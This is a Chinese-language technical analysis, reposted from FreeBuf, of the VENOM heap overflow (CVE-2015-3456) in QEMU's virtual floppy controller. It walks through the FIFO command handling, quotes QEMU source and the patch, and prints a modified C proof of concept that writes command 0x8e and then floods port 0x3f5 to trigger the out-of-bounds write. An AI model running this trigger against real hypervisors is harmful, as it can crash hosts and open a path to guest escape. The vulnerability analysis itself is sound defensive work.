VENOM "毒液"漏洞分析(qemu kvm CVE‐2015‐3456)


发布人:admin分类:网络安全浏览量:25发布时间:2017-12-12

昨天FreeBuf发布了《漏洞预警:“毒液(VENOM)”漏洞影响全球数百万虚拟机安全(附POC)》一文,报道了这个名为“毒液”(VENOM,编号CVE-2015-3456)的安全漏洞威胁到了整个安全行业,可以造成虚拟机逃逸,以下是360安全中心团队对“毒液”漏洞的深入分析。

漏洞简介

CrowdStrike的Jason Geffner发现开源计算机仿真器QEMU中存在一个和虚拟软盘控制器相关的安全漏洞,代号VENOM,CVE编号为CVE-2015-3456。利用此漏洞攻击者可以在有问题的虚拟机中进行逃逸,并且可以在宿主机中获得代码执行的权限。更多详情见作者博客[1]

背景知识

此漏洞位于qemu的虚拟软驱控制器的模拟代码中。下面介绍几个关于软驱的几个重要的地方。

控制寄存器

软驱控制器是由9个寄存器进行控制的,这些寄存器可以通过端口0x3f0-0x3f7进行访问(0x3f6除外[2])。软驱控制器寄存器的定义如下:

enum FloppyRegisters
{
STATUS_REGISTER_A = 0x3F0, // read‐only
STATUS_REGISTER_B = 0x3F1, // read‐only
DIGITAL_OUTPUT_REGISTER = 0x3F2,
TAPE_DRIVE_REGISTER = 0x3F3,
MAIN_STATUS_REGISTER = 0x3F4, // read‐only
DATARATE_SELECT_REGISTER = 0x3F4, // write‐only
DATA_FIFO = 0x3F5,
DIGITAL_INPUT_REGISTER = 0x3F7, // read‐only
CONFIGURATION_CONTROL_REGISTER = 0x3F7 // write‐only
};

漏洞相关的寄存器是DATA_FIFO。

MSR

同时软驱控制器的MSR标记位表明当时软驱控制器的状态。此次漏洞相关的MSR标记位的定义如下表:


FIFO命令

命令是向DATA_FIFO写入的一个小于32的单字节的值,每个命令后面都要跟着一些指定长度的参数。命令的ID定义如下所示:

enum {
FD_CMD_READ_TRACK = 0x02,
FD_CMD_SPECIFY = 0x03,
FD_CMD_SENSE_DRIVE_STATUS = 0x04,
FD_CMD_WRITE = 0x05,
FD_CMD_READ = 0x06,
FD_CMD_RECALIBRATE = 0x07,
FD_CMD_SENSE_INTERRUPT_STATUS = 0x08,
FD_CMD_WRITE_DELETED = 0x09,
FD_CMD_READ_ID = 0x0a,
FD_CMD_READ_DELETED = 0x0c,
FD_CMD_FORMAT_TRACK = 0x0d,
FD_CMD_DUMPREG = 0x0e,
FD_CMD_SEEK = 0x0f,
FD_CMD_VERSION = 0x10,
FD_CMD_SCAN_EQUAL = 0x11,
FD_CMD_PERPENDICULAR_MODE = 0x12,
FD_CMD_CONFIGURE = 0x13,
FD_CMD_LOCK = 0x14,
FD_CMD_VERIFY = 0x16,
FD_CMD_POWERDOWN_MODE = 0x17,
FD_CMD_PART_ID = 0x18,
FD_CMD_SCAN_LOW_OR_EQUAL = 0x19,
FD_CMD_SCAN_HIGH_OR_EQUAL = 0x1d,
FD_CMD_SAVE = 0x2e,
FD_CMD_OPTION = 0x33,
FD_CMD_RESTORE = 0x4e,
FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
FD_CMD_RELATIVE_SEEK_OUT = 0x8f,
FD_CMD_FORMAT_AND_WRITE = 0xcd,
FD_CMD_RELATIVE_SEEK_IN = 0xcf,
};

更多见OSDev wiki上的关于软驱控制器的文章。

漏洞分析

1.POC触发不了

国外一名安全研究者Marcus Meissner发布了此漏洞poc如下:

#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}

我们可以看到,都是向DATA_FIFO端口写入数据,笔者拿到poc先在自己的机器上测试发现poc并不能触发,先不管原因,我们先来分析下qemu对FIFO命令的处理。

2.FIFO命令处理流程

经过分析,我们可以得出其流程如下。

首先qemu将FIFO的处理函数以及命令对应的参数个数等信息存放在一个表中,如下所示:

static const struct {
uint8_t value;
uint8_t mask;
const char* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
{ FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DI
R_READ },
{ FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DI
R_WRITE },
{ FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek },
{ FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATU
S", 0, fdctrl_handle_sense_interrupt_status },
{ FD_CMD_RECALIBRATE, 0xff, "RECALIBRATE", 1, fdctrl_handle_re
calibrate },
{ FD_CMD_FORMAT_TRACK, 0xbf, "FORMAT TRACK", 5, fdctrl_handl
e_format_track },
{ FD_CMD_READ_TRACK, 0xbf, "READ TRACK", 8, fdctrl_start_trans
fer, FD_DIR_READ },
{ FD_CMD_RESTORE, 0xff, "RESTORE", 17, fdctrl_handle_restore
}, /* part of READ DELETED DATA */
{ FD_CMD_SAVE, 0xff, "SAVE", 0, fdctrl_handle_save }, /* part
of READ DELETED DATA */
{ FD_CMD_READ_DELETED, 0x1f, "READ DELETED DATA", 8, fdctrl_st
art_transfer_del, FD_DIR_READ },
{ FD_CMD_SCAN_EQUAL, 0x1f, "SCAN EQUAL", 8, fdctrl_start_trans
fer, FD_DIR_SCANE },
{ FD_CMD_VERIFY, 0x1f, "VERIFY", 8, fdctrl_start_transfer, F
D_DIR_VERIFY },
{ FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f, "SCAN LOW OR EQUAL", 8, fdct
rl_start_transfer, FD_DIR_SCANL },
{ FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f, "SCAN HIGH OR EQUAL", 8, fd
ctrl_start_transfer, FD_DIR_SCANH },
{ FD_CMD_WRITE_DELETED, 0x3f, "WRITE DELETED DATA", 8, fdctr
l_start_transfer_del, FD_DIR_WRITE },
{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
{ FD_CMD_SPECIFY, 0xff, "SPECIFY", 2, fdctrl_handle_specify },
{ FD_CMD_SENSE_DRIVE_STATUS, 0xff, "SENSE DRIVE STATUS", 1, fd
ctrl_handle_sense_drive_status },
{ FD_CMD_PERPENDICULAR_MODE, 0xff, "PERPENDICULAR MODE", 1, fd
ctrl_handle_perpendicular_mode },
{ FD_CMD_CONFIGURE, 0xff, "CONFIGURE", 3, fdctrl_handle_config
ure },
{ FD_CMD_POWERDOWN_MODE, 0xff, "POWERDOWN MODE", 2, fdctrl_han
dle_powerdown_mode },
{ FD_CMD_OPTION, 0xff, "OPTION", 1, fdctrl_handle_option },
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATI
ON COMMAND", 5, fdctrl_handle_drive_specification_command },
{ FD_CMD_RELATIVE_SEEK_OUT, 0xff, "RELATIVE SEEK OUT", 2, fdct
rl_handle_relative_seek_out },
{ FD_CMD_FORMAT_AND_WRITE, 0xff, "FORMAT AND WRITE", 10, fdctr
l_unimplemented },
{ FD_CMD_RELATIVE_SEEK_IN, 0xff, "RELATIVE SEEK IN", 2, fdctr
l_handle_relative_seek_in },
{ FD_CMD_LOCK, 0x7f, "LOCK", 0, fdctrl_handle_lock },
{ FD_CMD_DUMPREG, 0xff, "DUMPREG", 0, fdctrl_handle_dumpreg },
{ FD_CMD_VERSION, 0xff, "VERSION", 0, fdctrl_handle_version },
{ FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
{ FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfe
r, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */
{ 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handl
er */
};

表的每一项都定义了相应命令的一些信息,这里我们将被一项称为一个Handler下同。当qemu接收到FIFO命令之后,通过命令的ID找到这个命令的Handler,然后再根据这个Handler中保存的参数的个数来继续接收参数。并将命令ID和参数放在一个buffer中。在接受完参数后调用相应的处理函数。整个FIFO写操作派发流程都是在函数fdctrl_write_data里。

static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
...
//
// 这里对msr的状态进行检查.见背景知识中的msr一段.
// 这里必须FD_MSR_RQM置位,就是说控制器已经准备好交换数据了
// FD_MSR_DIO必须置0,说明控制器不能处在要被读的状态
//
if (!(fdctrl‐>msr & FD_MSR_RQM) || (fdctrl‐>msr & FD_MSR_DIO))
{
FLOPPY_DPRINTF("error: controller not ready for writin
g\n");
return;
}
//
// 如果参数为0说明此次为命令字节。这里通过命令ID找到相应的
// Handler.获取参数的个数
//
if (fdctrl‐>data_pos == 0) {
pos = command_to_handler[value & 0xff];
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
//
// 获取参数个数
// +1是为了加上command id
//
fdctrl‐>data_len = handlers[pos].parameters + 1;
fdctrl‐>msr |= FD_MSR_CMDBUSY;
}
...
//
// 将传入字节保存到fdctrl‐>fifo这个buffer中.
//
fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
//
// 判断参数是否已经保存完成,如果参数保存完成就调用相应的处理函数
//
if (fdctrl‐>data_pos == fdctrl‐>data_len) {
pos = command_to_handler[fdctrl‐>fifo[0] & 0xff];
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
}

在处理函数中如果有返回的数据。控制器模拟代码则调用fdctrl_set_fifo这个函数来设置MSR的状态为FD_MSR_DIO,已表示控制器处在可被读状态。注意:设置完以后控制器是不可读的见fdctrl_write_data开始的那个检查。fdctrl_set_fifo代码如下:

static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
fdctrl‐>data_dir = FD_DIR_READ;
fdctrl‐>data_len = fifo_len;
fdctrl‐>data_pos = 0;
fdctrl‐>msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;
}

如果没有要返回的数据或者返回的数据已经被客户机通过IN指令读取完了,则会调用fdctrl_reset_fifo来重置FIFO。即将FIFO置为可写状态。fdctrl_reset_fifo:

static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
fdctrl‐>data_dir = FD_DIR_WRITE;
fdctrl‐>data_pos = 0;
fdctrl‐>msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}

3.为什么不能触发

通过以上流程的分析,我们再来看Marcus Meissner公布的poc的流程:

首先发送一个id为0xa的控制命令。我们可以看到id为0xa的命令为FD_CMD_READ_ID,其对应的处理函数为fdctrl_handle_readid,参数个数为1个。

{ FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },

之后又会写入一个0×42作为READ_ID命令的参数。接下来进入到fdctrl_handle_readid函数内。经过笔者调试fdctrl_handle_readid这个函数启动了一个定时器。在定时器被触发的时候程序调用了fdctrl_set_fifo来生成返回数据。所以接下来的向FIFO写0×42的操作完全没有用,被fdctrl_write_data开始的fdctrl->msr & FD_MSR_DIO这个检查给拦下了。所以这个poc在笔者的机器上并不能触发。

4.新的触发方式

我们先来看下补丁的代码:

‐‐‐ a/hw/block/fdc.c
+++ b/hw/block/fdc.c
@@ ‐1497,7 +1497,7 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
{
FDrive *cur_drv;
uint32_t retval = 0;
‐ int pos;
+ uint32_t pos;
cur_drv = get_cur_drv(fdctrl);
fdctrl‐>dsr &= ~FD_DSR_PWRDOWN;
@@ ‐1506,8 +1506,8 @@ static uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
return 0;
}
pos = fdctrl‐>data_pos;
+ pos %= FD_SECTOR_LEN;
if (fdctrl‐>msr & FD_MSR_NONDMA) {
‐ pos %= FD_SECTOR_LEN;
if (pos == 0) {
if (fdctrl‐>data_pos != 0)
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
@@ ‐1852,10 +1852,13 @@ static void fdctrl_handle_option(FDCtrl *f
dctrl, int direction)
static void fdctrl_handle_drive_specification_command(FDCtrl *fdc
trl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
+ uint32_t pos;
‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
+ pos = fdctrl‐>data_pos ‐ 1;
+ pos %= FD_SECTOR_LEN;
+ if (fdctrl‐>fifo[pos] & 0x80) {
/* Command parameters done */
‐ if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
+ if (fdctrl‐>fifo[pos] & 0x40) {
fdctrl‐>fifo[0] = fdctrl‐>fifo[1];
fdctrl‐>fifo[2] = 0;
fdctrl‐>fifo[3] = 0;
@@ ‐1955,7 +1958,7 @@ static uint8_t command_to_handler[256];
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
‐ int pos;
+ uint32_t pos;
/* Reset mode */
if (!(fdctrl‐>dor & FD_DOR_nRESET)) {
@@ ‐2004,7 +2007,9 @@ static void fdctrl_write_data(FDCtrl *fdctr
l, uint32_t value)
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
‐ fdctrl‐>fifo[fdctrl‐>data_pos++] = value;
+ pos = fdctrl‐>data_pos++;
+ pos %= FD_SECTOR_LEN;
+ fdctrl‐>fifo[pos] = value;
if (fdctrl‐>data_pos == fdctrl‐>data_len) {
/* We now have all parameters
* and will be able to treat the command

可以看到基本上就是补了一些对fdctrl->fifo这个buffer下标的一些防止越界的操作。我们可以肯定这个肯定是个写越界操作了。按照这个思路我们查看了所有命令的处理函数,发现FD_CMD_DRIVE_SPECIFICATION_COMMAND的处理函数有问题。先看下FD_CMD_DRIVE_SPECIFICATION_COMMAND命令的Handler,如下:

{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION C
OMMAND", 5, fdctrl_handle_drive_specification_command }

命令处理函数为fdctrl_handle_drive_specification_command,参数个数为5。再来看下fdctrl_handle_drive_specification_command函数的实现:

static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
//
// 签名这个判断是我们可以控制的
//
if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
fdctrl‐>fifo[0] = fdctrl‐>fifo[1];
fdctrl‐>fifo[2] = 0;
fdctrl‐>fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4);
} else {
fdctrl_reset_fifo(fdctrl);
}
} else if (fdctrl‐>data_len > 7) { /*这里的判断是有问题的地方*/
fdctrl‐>fifo[0] = 0x80 |
(cur_drv‐>head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);
}
}

我们找到fdctrl->data_len > 7这个判断是有问题的。我们从fdctrl_write_data这个函数开始,首先传进命令字节FD_CMD_DRIVE_SPECIFICATION_COMMAND,然后依次传进5个参数。按照fdctrl_write_data的流程进入处理函数fdctrl_handle_drive_specification_command时fdctrl->data_len 应该是6,所以我们让fdctrl_handle_drive_specification_command的第一个判断里fdctrl->fifo[fdctrl->data_pos - 1]是我们可控的再加上下面的这个fdctrl->data_len > 7这个判断也为否,就绕过了所有调用fdctrl_set_fifo和fdctrl_reset_fifo的地方就是控制器的状态还是可写,而且buffer没有被清空。然后我们就可以无限次向fdctrl->fifo里写入数据,从而超出fdctrl->fifo的边界造成越界写。

fdctrl->fifo的初始化是在fdctrl_realize_common里面:

static void fdctrl_realize_common(FDCtrl *fdctrl, Error **errp){
//
// qemu_memalign最终会调用malloc分配内存
//
fdctrl‐>fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl‐>fifo_size = 512;
}

5.可重现POC

#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x8e,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}

6.重现成功

linux guest:

windows guest:

漏洞总结

这个漏洞为典型的堆溢出漏洞,其表现形式为越界写操作。此漏洞的利用可能还是很大的。另外即使虚拟机没有设置软驱,其漏洞还是无法避免的。鉴于该漏洞属于高危漏洞,建议尽快在源码层面上对QEMU实现补丁升级。

[1] 作者博客:http://venom.crowdstrike.com/

[2] IO端口0x3F6是ATA(硬盘)备用状态寄存器,并且不使用任何软盘控制器。

转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21276587(PV) 页面执行时间:234.96(MS)
  • xml
  • 网站地图